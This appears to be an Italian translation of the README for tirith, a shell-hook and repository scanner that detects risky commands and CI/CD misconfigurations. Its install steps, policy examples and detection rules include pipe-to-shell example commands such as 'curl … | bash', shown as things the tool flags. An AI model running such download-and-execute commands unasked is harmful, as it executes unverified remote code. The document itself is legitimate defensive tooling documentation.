`tirith scan` ispeziona anche i file che un repo committa per descrivere la propria pipeline di build e deploy. Rileva il *pattern* pericoloso, non lo strumento: un'azione pinnata a SHA, un'immagine pinnata a digest, un modulo Terraform locale e un normale `package.json` rimangono puliti.

**Cosa rileva nei file CI / infrastrutturali:**

- **Workflow di GitHub Actions** (`.github/workflows/*.yml`), un riferimento `uses:` di un'azione pinnato a un ref mutabile (`@v3`, `@main`) invece che a un commit SHA; il trigger `pull_request_target`; un `curl … | bash` pipe-to-shell in uno step `run:`; un valore `${{ github.event.* }}` controllabile dall'attaccante interpolato in uno step shell `run:` (script injection)
- **Dockerfile**: un'immagine base `FROM` sul tag mutabile `latest` (o senza tag) senza un pin digest `@sha256:`
- **Terraform** (`*.tf`), un blocco `module` con sorgente da una posizione remota / non attendibile invece che da un percorso locale o dal Terraform Registry
- **Chart Helm** (`Chart.yaml`), una dipendenza del chart da un repository di chart non attendibile
- **`package.json`**: uno script del ciclo di vita `preinstall` / `install` / `postinstall` che esegue un comando pericoloso (pipe-to-shell, payload offuscato, download-and-run); questi hook vengono eseguiti automaticamente su `npm install`

Tre valori `--profile` integrati regolano la scansione: `ci-hardening` (ogni controllo a piena forza, fail-on `high`), `ai-agent-repo` (mantiene i risultati di injection, elimina il rumore di igiene di pinning di basso valore) e `oss-maintainer` (enfatizza il rischio controllabile dai contributori quando si revisiona una modifica).```bash
tirith scan ./                          # scan the repo
tirith scan --profile ci-hardening ./   # tune for CI/CD hardening
tirith scan --format sarif ./ > out.sarif

### Pacchetti Linux

**Debian / Ubuntu (.deb):**

Scarica da [GitHub Releases](https://github.com/sheeki03/tirith/releases/latest), poi:```bash
sudo dpkg -i tirith_*_amd64.deb

I binari di rilascio Linux GNU hanno come limite massimo GLIBC 2.28. La CI esegue
tarball sia x86_64 che aarch64 su AlmaLinux 8, Amazon Linux 2023 e Rocky Linux
9; i pacchetti `.deb` e `.rpm` x86_64 contengono quegli stessi binari canonici.

**Arch Linux (AUR):**```bash
yay -S tirith
# or: paru -S tirith

### Android (Termux)

Android/Termux utilizza Bionic libc, non glibc, quindi la build `aarch64-unknown-linux-gnu`
non può essere eseguita lì, necessita del linker dinamico di glibc. Usa invece la build
**musl**: `tirith-aarch64-unknown-linux-musl.tar.gz` è collegata staticamente e funziona
su Termux senza una libc esterna.```bash
# In Termux:
pkg install curl tar
# Download the musl build from the latest GitHub release:
curl -fsSL -o tirith.tar.gz \
  https://github.com/sheeki03/tirith/releases/latest/download/tirith-aarch64-unknown-linux-musl.tar.gz
tar xzf tirith.tar.gz
install -Dm755 tirith "$PREFIX/bin/tirith"
tirith --version

> [!NOTE]
> Il supporto a Termux è best-effort. L'artefatto musl viene compilato e sottoposto a smoke test in
> CI, ma tirith non è ancora testato in modo continuativo su un dispositivo Android reale.
> Se un hook si comporta in modo anomalo sotto Termux, apri una issue con l'output di
> `tirith doctor`.

### Windows

Windows supporta rilevamento, scansione, webhook, gestione delle policy, caricamento
degli audit e `tirith setup`. L'hook PowerShell fornisce l'intercettazione preflight di PSReadLine,
ma non dichiara una ricevuta di esecuzione post-accettazione rigorosa.
L'esecuzione live di script remoti e la modalità daemon restano non disponibili su Windows.

**Scoop:**```powershell
scoop bucket add tirith https://github.com/sheeki03/scoop-tirith
scoop install tirith

La moderazione di Chocolatey può ritardare rispetto alla release di GitHub. Esegui `choco info tirith` per
vedere la versione attualmente approvata. Usa Scoop o un artefatto firmato da
[GitHub Releases](https://github.com/sheeki03/tirith/releases/latest) quando
è richiesta la release più recente prima che la moderazione di Chocolatey sia completata.

### Multipiattaforma

**npm:**```bash
npm install -g tirith

**[Mise](https://mise.jdx.dev/)** (registro ufficiale):```bash
mise use -g tirith

**Docker:**```bash
docker run --rm ghcr.io/sheeki03/tirith check -- "curl https://example.com | bash"

| Shell | Tipo di hook | Testato su |
|-------|-----------|-----------|
| zsh | accept-line + widget di incolla | 5.8+ |
| bash | macro del tasto invio o preexec (due modalità) | percorso di compatibilità 3.2; 5.0+ per il percorso moderno completamente testato |
| fish | Gestori del tasto Invio + incolla | 3.5+ |
| PowerShell | Gestore PSReadLine | 7.0+ |

Bash usa la modalità enter quando un autotest delle capacità ha dimostrato che funziona per il tuo bash, e preexec in caso contrario. Dalla 0.4.1 questo autotest passa su GNU bash standard, quindi la modalità enter è il risultato ordinario una volta che `tirith setup` o `tirith doctor` lo ha eseguito; l'hook della shell legge il verdetto memorizzato nella cache all'avvio. Vedi [troubleshooting](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md#bash-enter-mode-vs-preexec-mode) per dettagli sulle modalità, l'autotest e il comportamento di fallback SSH.

Il Bash di sistema di macOS 3.2 rimane un percorso di compatibilità, non la baseline
di blocco moderna. Il suo comportamento con il trap DEBUG può impedire al trampolino di
attivarsi; Tirith annuncia il degrado risultante quando il suo heartbeat può osservarlo,
che potrebbe avvenire un comando dopo. Usa Bash 5+ o un percorso in modalità enter dimostrato quando
è richiesto un gate di autorizzazione Bash rigoroso.

> [!WARNING]
> La modalità preexec di Bash è solo di avviso per impostazione predefinita. Imposta `TIRITH_BASH_PREEXEC_ENFORCE=1` per il blocco condizionale. Tirith analizza una volta la riga digitata affidabile, abilita il proprio `extdebug` solo dopo un verdetto di blocco e lo rilascia prima che venga eseguito `PROMPT_COMMAND`. Se i confini del prompt o un trap DEBUG di proprietà del chiamante non possono essere preservati in modo sicuro, o se `extdebug` è già abilitato dall'utente, Tirith lascia visibilmente disattivata l'intercettazione preexec invece di sovrascrivere lo stato della shell.

#### Applicazione per shell

| Shell | Comportamento |
|---|---|
| bash **modalità enter** | **Blocco affidabile.** Associa Invio a una macro readline che esegue il checker e poi un accept-line protetto, così un comando può essere fermato prima che bash si impegni a eseguirlo. Selezionata ovunque l'autotest delle capacità (`tirith doctor --simulate-enter`) abbia dimostrato la consegna e il blocco per il bash in esecuzione, cosa che dalla 0.4.1 avviene su GNU bash standard. Un flag di modalità sicura persistito, una sessione SSH o un `TIRITH_BASH_MODE=preexec` forzato selezionano comunque preexec. |
| bash **preexec + `TIRITH_BASH_PREEXEC_ENFORCE=1`** | **Blocco condizionale.** Analizza una riga intera affidabile, poi attiva `extdebug` di proprietà di Tirith solo per un blocco e lo ripristina al prompt successivo. Le voci esistenti di `PROMPT_COMMAND` come stringa/array mantengono il loro ordine ed eseguono al di fuori dell'analisi. L'applicazione rifiuta o riduce visibilmente quando la cronologia è filtrata o un alias / command substitution / `eval` fa divergere la riga digitata da `BASH_COMMAND`; una proprietà non sicura di prompt/DEBUG o un `extdebug` di proprietà dell'utente lascia l'intercettazione esplicitamente disattivata invece di mutare lo stato dell'utente. |
| bash **preexec** (senza flag di enforcement) | Solo avviso. Stampa un banner DETECTED sui comandi rischiosi; non blocca. Il fallback quando l'autotest della modalità enter non ha dimostrato che la consegna funziona, o quando la modalità enter è altrimenti non disponibile. |
| zsh, fish | Blocco affidabile nei loro gestori Enter/accept-line, prima del passaggio alla shell nativa. Gli eventi preexec di sola notifica non sono trattati come gate di autorizzazione. |
| PowerShell | Blocco preflight PSReadLine affidabile; nessuna ricevuta di esecuzione rigorosa. |
| nushell | Solo avviso (attualmente non supporta l'intercettazione dei comandi). |

Per il blocco a livello di riga su bash, esegui `tirith doctor --simulate-enter`; se la consegna funziona, la modalità enter è abilitata. Dove non funziona, usa preexec enforce per "blocca quando possibile; ti dice onestamente quando non può."

Bash, zsh e fish interattivi usano una ricevuta di esecuzione protocol-v3 dopo la
decisione di preflight. Al caricamento dell'hook, risolvono e fissano un unico eseguibile Tirith
assoluto e registrano una capacità monouso legata al processo shell attivo,
alla famiglia di shell, alla sessione, all'utente e all'identità dell'eseguibile. Una ricevuta poi passa
attraverso gli stati `Prepared`, `Armed`, `Consuming` e uno stato terminale
`Committed`/`Conflict`/`Discarded`. Questo migliora l'attribuzione e la resistenza al replay,
ma l'evidenza della shell è deliberatamente registrata come non risolta
piuttosto che come prova che ogni componente del comando sia stato eseguito. Tirith stesso possiede qualsiasi
prompt di approvazione o conferma di avviso prima di restituire una ricevuta armata;
l'hook non può collegare quei fatti in seguito. Zsh e fish consumano la ricevuta armata
in modo sincrono nello stesso gestore di accettazione della riga e consegnano il comando
alla shell nativa solo dopo che quella transizione riesce. PowerShell ha
il blocco preflight senza questo protocollo di ricevuta rigoroso.

Una shell annidata riceve la propria capacità legata al processo anche quando eredita
l'ID di sessione. Rieseguire il sourcing dell'hook nello stesso processo non genera mai un altro
bearer. Se `exec` sostituisce una shell attiva senza cambiare il suo PID/identità di avvio,
il sostituto non può recuperare il bearer deliberatamente non esportato e viene eseguito in
modalità legacy visibilmente degradata; avvia un nuovo terminale o una shell figlia per ripristinare
le ricevute rigorose. `exec "$SHELL"` non è un riavvio del protocollo di ricevuta perché
preserva quell'identità di processo.

**Nix / Home-Manager:** tirith deve essere nel tuo `$PATH` quando l'hook viene sottoposto a sourcing.
Bash, zsh e fish poi fissano quell'eseguibile risolto per la sessione della shell;
riavvia la shell dopo aver sostituito o aggiornato il binario. Aggiungerlo solo a
`initContent` non è sufficiente.```nix
home.packages = [ pkgs.tirith ];

programs.zsh.initContent = ''
  eval "$(tirith init --shell zsh)"
'';

**`tirith verify-self`** conferma che il binario in esecuzione è quello autentico e non modificato di una release ufficiale. Scarica nuovamente l'archivio della release per la tua versione e il tuo target, lo verifica rispetto al file `checksums.txt` firmato della release, verifica la firma cosign su `checksums.txt` quando [`cosign`](https://github.com/sigstore/cosign) è installato, e conferma che il binario in esecuzione è identico byte per byte a quello ufficiale. Se la verifica completa non è possibile, una build di sviluppo locale, assenza di rete, un'installazione che tirith non riesce a identificare, lo dichiara onestamente invece di riportare un falso "verified". In assenza di `cosign` il checksum viene comunque verificato (riportato come `verified-checksum-only`); installa `cosign` per la verifica completa della firma (`verified-signed`).

**`tirith update`** è consapevole del package manager:

- **Le installazioni tramite package manager** (Homebrew, cargo, npm, Scoop, AUR, apt/dnf) non vengono mai auto-modificate. tirith stampa invece il comando esatto da eseguire, ad esempio `brew upgrade tirith`. L'aggiornamento tramite il package manager mantiene il suo database coerente.
- **Le installazioni auto-sostituibili** (il tarball di `install.sh`, un binario standalone, o una release Tirith con proprietario sicuro memorizzata nella cache sotto una root Hermes (`HERMES_HOME`, o `~/.hermes` quando quella variabile non è impostata; solo Unix)) vengono aggiornate sul posto: tirith scarica l'ultima release, la verifica, poi scambia atomicamente il binario, mantenendo il precedente come sidecar `tirith.tirith-previous`. La firma cosign viene verificata **per impostazione predefinita**: se non può essere verificata (cosign mancante, o la release non ha pubblicato alcuna firma) l'aggiornamento si interrompe. Passa `--allow-unsigned` per ripiegare sulla verifica del solo checksum; una mancata corrispondenza del checksum interrompe sempre l'operazione in ogni caso. `tirith update --rollback` ripristina il binario precedente; `--dry-run` mostra cosa accadrebbe senza modificare nulla. Gli aggiornamenti rimangono espliciti: Tirith non controlla mai né installa un nuovo binario in background.

> [!NOTE]
> Gli script di installazione (`scripts/install.sh` e il `install.ps1` per Windows) verificano anch'essi la firma cosign della release **per impostazione predefinita** e si interrompono se [`cosign`](https://github.com/sigstore/cosign) è mancante o la firma non può essere verificata. Installa prima `cosign`, oppure imposta `TIRITH_ALLOW_UNSIGNED=1` per installare con la sola verifica del checksum (non consigliato). Una mancata corrispondenza del checksum o della firma interrompe sempre l'operazione indipendentemente da questa opzione di rinuncia.

### Integrazioni Shell

**Oh-My-Zsh:**```bash
git clone https://github.com/sheeki03/ohmyzsh-tirith \
  ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/tirith

# Add tirith to plugins in ~/.zshrc:
plugins=(... tirith)

Le dipendenze bloccate dell'azione utilizzano il runtime dell'azione Node 24. I runner self-hosted devono utilizzare [Actions Runner v2.327.1 o versioni successive](https://github.com/actions/runner/releases/tag/v2.327.1); i runner ospitati da GitHub soddisfano già questo requisito.

Disponibile anche come **hook pre-commit**: vedi `.pre-commit-hooks.yaml` in questo repository.

Scan supporta i filtri `--include`, `--exclude`, `--profile` (carica profili denominati dalla policy) e `--ignore` per la scansione CI mirata.

### Documentazione delle regole```bash
tirith explain --rule pipe_to_interpreter   # severity, examples, remediation, MITRE ATT&CK
tirith explain --rule curl_pipe_shell --fix # just the remediation ("what to do instead")
tirith explain --list --category terminal   # all rules in a category

Su Linux x86_64, quando Tirith è installato in un percorso di sistema fisso gestito da root e l'URL, la shell, gli argomenti e il comportamento di stdin del comando possono essere decodificati esattamente, la riscrittura instrada il pipe-to-shell attraverso il runner a capsula di Tirith, limitato, revisionato, verificato tramite hash e fail-closed. Il percorso assoluto di Tirith impedisce che un successivo shadowing del `PATH` modifichi ciò che viene eseguito. In fase di esecuzione, il runner richiede inoltre che il primo hit nel `PATH` dell'interprete selezionato sia gestito da root, ne vincola i byte prima del download e preserva quella shell invece di fidarsi dello shebang remoto. Altre architetture, piattaforme e installazioni di Tirith di proprietà dell'utente mantengono questa remediation come guida. Per curl, le riscritture eseguibili richiedono inoltre sia la semantica fail-on-HTTP-error sia quella di redirect-following (`-f` e `-L`, incluso un bundle come `-fsSL`). Token URL dinamici o malformati, argomenti dell'interprete non supportati, PowerShell, Cmd e pipeline ambigue rimangono solo a scopo di guida. I suggerimenti eseguibili sono limitati al runner pipe verificato e fail-closed. Archivio, dotfile, rimozione di flag TLS, modifiche da HTTP a HTTPS, restringimento di sudo, pulizia dell'ambiente e correzioni dei nomi dei pacchetti sono solo a scopo di guida perché la loro esatta semantica di shell, rete, privilegi, ambiente o registry non è meccanicamente dimostrabile. Per qualsiasi rilevamento senza una riscrittura meccanica sicura, Tirith lo dichiara chiaramente e mostra la remediation; non emette mai un comando ipotizzato. Il flag è consultivo: non modifica né il verdetto né il codice di uscita.

### Modalità Daemon (Unix)

Processo in background opzionale per latenza sub-millisecondo e arricchimento consapevole della rete (risoluzione di URL abbreviati, controlli DNS blocklist):```bash
tirith daemon start       # tirith check auto-delegates when running
tirith daemon stop

`tirith policy init` accetta `--template <name>` per una policy iniziale curata:```bash
tirith policy init --template individual      # solo developer defaults (alias: personal)
tirith policy init --template ci-strict       # fail-closed, no bypass, scan fail-on
tirith policy init --template ai-agent-heavy  # tuned for heavy AI-agent use
tirith policy init --template oss-maintainer  # reviewing contributor-controllable risk
tirith policy init --template startup         # small-team balance
tirith policy init --template enterprise      # strict, with an active package_policy block
tirith policy init --template mcp-strict      # locked-down MCP server and tool trust

Usa `allowlist_rules` per le soppressioni limitate a una regola quando ti fidi di una fonte per una regola ma non vuoi inserirla globalmente nella allowlist:```yaml
allowlist_rules:
  - rule_id: curl_pipe_shell
    patterns:
      - "get.docker.com"

Lo **scope** di ogni voce è classificato come `exact`, `substring`, `domain`,
`wildcard` o `bare-TLD`. Ogni scope non-exact (`substring` / `domain` /
`wildcard` / `bare-TLD`) richiede `--broad`, quindi un'allow ampia è sempre una
scelta deliberata. Gli URL exact usano l'uguaglianza URL normalizzata (inclusi
scheme, host, porta effettiva, path, query e fragment), mai il substring matching. Tutti
i sottocomandi supportano `--format json`. I trust store scritti da versioni precedenti di
tirith continuano a funzionare invariati; una voce senza TTL è considerata permanente.

### Escalation e override delle azioni

Gli avvisi vengono tracciati per sessione. Se la stessa regola scatta ripetutamente, le regole di escalation possono passare a un blocco:```yaml
action_overrides:
  shortened_url: block            # always block, regardless of default severity

escalation:
  - trigger: repeat_count
    rule_ids: ["*"]               # any rule
    threshold: 5
    window_minutes: 60
    action: block
  - trigger: multi_medium
    min_findings: 3               # 3+ medium findings on one command → block
    action: block

All'uscita dalla shell, viene stampato un riepilogo di una riga se sono stati registrati avvisi durante la sessione.

Altri esempi in [docs/cookbook.md](https://github.com/sheeki03/tirith/blob/main/docs/cookbook.md).

### Regole di rilevamento personalizzate

Scrivi le tue regole in `.tirith/policy.yaml` sotto `custom_rules:`. Ogni regola è un `pattern:` (regex) oppure un albero di predicati semantici `when:`, più un `context:` (`exec`, `paste`, o `file`), una `severity:`, e un `title:`.```yaml
custom_rules:
  - id: no_internal_pastebin
    context: exec
    severity: high
    title: "Internal pastebin is not allowed for piped execution"
    when:
      all:
        - command.has_pipeline_to: [bash, sh]
        - url.host_matches: "paste\\.corp\\.example$"

### Altri controlli delle policy

Altre chiavi di policy, tutte con valori predefiniti sicuri (`tirith policy init` scrive l'insieme completo con commenti):

- Le soglie di `package_policy:` trasformano i segnali della supply chain in verdetti di blocco o avviso (`block_typosquat_distance`, `warn_low_downloads_below`, `block_newer_than_days`, `block_not_found`).
- `agent_rules:` `allow:` / `deny:` corrispondono all'origine del chiamante di un comando (`{ kind, name }`); una corrispondenza `deny` forza un blocco. `scan.trusted_mcp_servers` e `scan.mcp_allowed_tools` accettano server MCP specifici e strumenti per server.
- Guardie opt-in, disattivate per impostazione predefinita: `env_guard_enabled`, `exec_guard_enabled`, `hooks_guard_enabled`, `baseline_enabled`, più `iac_require_plan_before_apply`, `sudo_require_reason` e `allowed_install_domains`.

I file `.tirith/policy.yaml` con ambito di repository possono solo restringere, mai allentare: una policy di repository che tenta di ampliare una allowlist, abbassare una severità o disattivare una guardia viene neutralizzata, e `tirith policy effective` mostra quali campi sono stati scartati. Solo le policy a livello utente e a livello organizzazione (`TIRITH_POLICY_ROOT`) possono allentare un valore predefinito.

### Modalità strict warn

Con `strict_warn: true` (o `--strict-warn` sulla CLI), i risultati a rischio medio richiedono un riconoscimento esplicito nei terminali interattivi invece di avvisare silenziosamente:```
$ curl -sSL https://get.docker.com | sh

tirith: WARNING
  [MEDIUM] pipe_to_interpreter, Download piped to interpreter
tirith: proceed with 1 warning(s)? [y/N]

Questo è un prefisso standard della shell per singolo comando; la variabile esiste solo per quel singolo comando e non persiste nella tua sessione. Le organizzazioni possono disabilitarlo completamente con `allow_bypass_env: false` nella policy.

> [!CAUTION]
> `TIRITH=0` è per singolo comando. Non esportarlo in profili shell, dotfile o configurazioni CI; un bypass permanente vanifica l'intero modello di protezione. Se ti ritrovi a ricorrervi spesso, aggiungi invece la fonte attendibile a `allowlist` nel tuo file di policy.

---

## Gestione dei dati

Log di audit JSONL locale in `~/.local/share/tirith/log.jsonl`:
- Timestamp, ID di sessione, azione, ID delle regole, anteprima del comando redatta
- Dati di rilevamento grezzi (`raw_action`, `raw_rule_ids`) conservati insieme all'azione applicata per l'audit di copertura
- Stato di avviso della sessione in `~/.local/state/tirith/sessions/`
- **Nessun** comando completo, variabile d'ambiente o contenuto di file

Disabilitazione: `export TIRITH_LOG=0`

---

## Documentazione

- [Riferimento dei comandi](https://github.com/sheeki03/tirith/blob/main/docs/commands.md): ogni sottocomando, raggruppato per categoria
- [Matrice delle capacità](https://github.com/sheeki03/tirith/blob/main/docs/capability-matrix.md): copertura per comando (cosa ispeziona tirith e se la policy lo governa completamente)
- [Copertura dell'applicazione](https://github.com/sheeki03/tirith/blob/main/docs/enforcement-coverage.md): registro per capacità che separa rilevamento, decisione preflight, applicazione dell'esecuzione, contenimento e attestazione
- [Modello di minaccia](https://github.com/sheeki03/tirith/blob/main/docs/threat-model.md), da cosa tirith difende e da cosa no
- [Cookbook](https://github.com/sheeki03/tirith/blob/main/docs/cookbook.md), esempi di policy per configurazioni comuni
- [Risoluzione dei problemi](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md), stranezze della shell, latenza, falsi positivi
- [Compatibilità](https://github.com/sheeki03/tirith/blob/main/docs/compatibility.md), superficie stabile vs sperimentale
- [Note di rilascio 0.4.2](https://github.com/sheeki03/tirith/blob/main/docs/release-notes-0.4.2.md), cosa cambia la patch release attuale, e le [note di rilascio 0.4.0](https://github.com/sheeki03/tirith/blob/main/docs/release-notes-0.4.0.md) per i punti salienti, i limiti e il contratto di pubblicazione della linea 0.4
- [Checklist di rilascio](https://github.com/sheeki03/tirith/blob/main/docs/release-checklist.md), sequenza di pubblicazione protetta e verifica del registro
- [Policy di sicurezza](https://github.com/sheeki03/tirith/blob/main/SECURITY.md), segnalazione di vulnerabilità
- [Disinstallazione](https://github.com/sheeki03/tirith/blob/main/docs/uninstall.md), rimozione pulita per shell e gestore di pacchetti

Guide alle funzionalità:

- [Guardia dei comandi Web3](https://github.com/sheeki03/tirith/blob/main/docs/security/web3-command-guard.md) (la policy `web3_guard`, le tre regole Web3 e i binding command-card v2)
- [Task envelope](https://github.com/sheeki03/tirith/blob/main/docs/task-envelope.md) (provenienza di task non attendibili, la policy `task_gate` e lo strumento MCP di anteprima)
- [Progetti non attendibili](https://github.com/sheeki03/tirith/blob/main/docs/untrusted-projects.md) (il flusso di lavoro "qualcuno mi ha inviato un repo")
- [Flusso di artefatti CI](https://github.com/sheeki03/tirith/blob/main/docs/ci-artifact-flow.md) (avvelenamento di artefatti di build tra workflow)
- [Audit delle estensioni del browser](https://github.com/sheeki03/tirith/blob/main/docs/browser-extension-audit.md) (audit di integrità in sola lettura per la famiglia Chromium)
- [Ricevuta di provenienza npm](https://github.com/sheeki03/tirith/blob/main/docs/npm-provenance-receipt.md) (`pkg attest-npm`, e cosa esattamente non vincola)
- [Ricevute di attestazione](https://github.com/sheeki03/tirith/blob/main/docs/attestation-receipts.md) (ricevute di build e deployment puntuali)
- [Rollout e rollback](https://github.com/sheeki03/tirith/blob/main/docs/web3-task-rollout.md) (abilitazione graduale, trigger e playbook di ripristino)
- [Governance degli agenti](https://github.com/sheeki03/tirith/blob/main/docs/agent-governance-design.md) (attribuzione dell'origine del chiamante e `agent_rules`)
- [Filtro output MCP](https://github.com/sheeki03/tirith/blob/main/docs/mcp-output-filter.md) (il gateway e il contratto di sanitizzazione dell'output MCP)
- [Modalità Doctor](https://github.com/sheeki03/tirith/blob/main/docs/doctor-modes.md) (completa vs `--quick`, e lo schema dello snapshot JSON)
- [Profili LSP ed editor](https://github.com/sheeki03/tirith/blob/main/docs/lsp-profiles.md) (diagnostica inline nell'editor)
- [Messaggistica nativa del browser](https://github.com/sheeki03/tirith/blob/main/docs/browser-native-messaging.md) (host ed estensione per la provenienza degli appunti)
- [Provenienza degli incolla](https://github.com/sheeki03/tirith/blob/main/docs/paste-provenance.md) (la regola `paste_source_mismatch`)
- [Formati canary](https://github.com/sheeki03/tirith/blob/main/docs/canary-formats.md) (formati sintetici di honeytoken)
- [Integrazione con il prompt](https://github.com/sheeki03/tirith/blob/main/docs/prompt-integration.md) (collegare `tirith prompt-status` al tuo prompt della shell)

## Licenza

**La copertura di sicurezza principale è distribuita nell'albero open-source.** Tutte le 244 regole di rilevamento e il server MCP sono disponibili dal sorgente. Il repository contiene ancora percorsi di codice legacy per licenze e policy-server, quindi evita di presumere che ogni percorso di runtime sia già privo di tier.

tirith è dual-licensed:

- **AGPL-3.0-only**: [LICENSE-AGPL](https://github.com/sheeki03/tirith/blob/main/LICENSE-AGPL), libero secondo i termini del copyleft
- **Commerciale**: [LICENSE-COMMERCIAL](https://github.com/sheeki03/tirith/blob/main/LICENSE-COMMERCIAL), se gli obblighi di copyleft AGPL non si adattano al tuo caso d'uso, contatta [email protected] per licenze alternative

Attribuzioni di dati di terze parti in [NOTICE](https://github.com/sheeki03/tirith/blob/main/NOTICE).

## Star History

[![Star History Chart](https://star-history.dera.page/svg?repos=sheeki03/tirith&type=Date)](https://star-history.dera.page/#sheeki03/tirith&Date)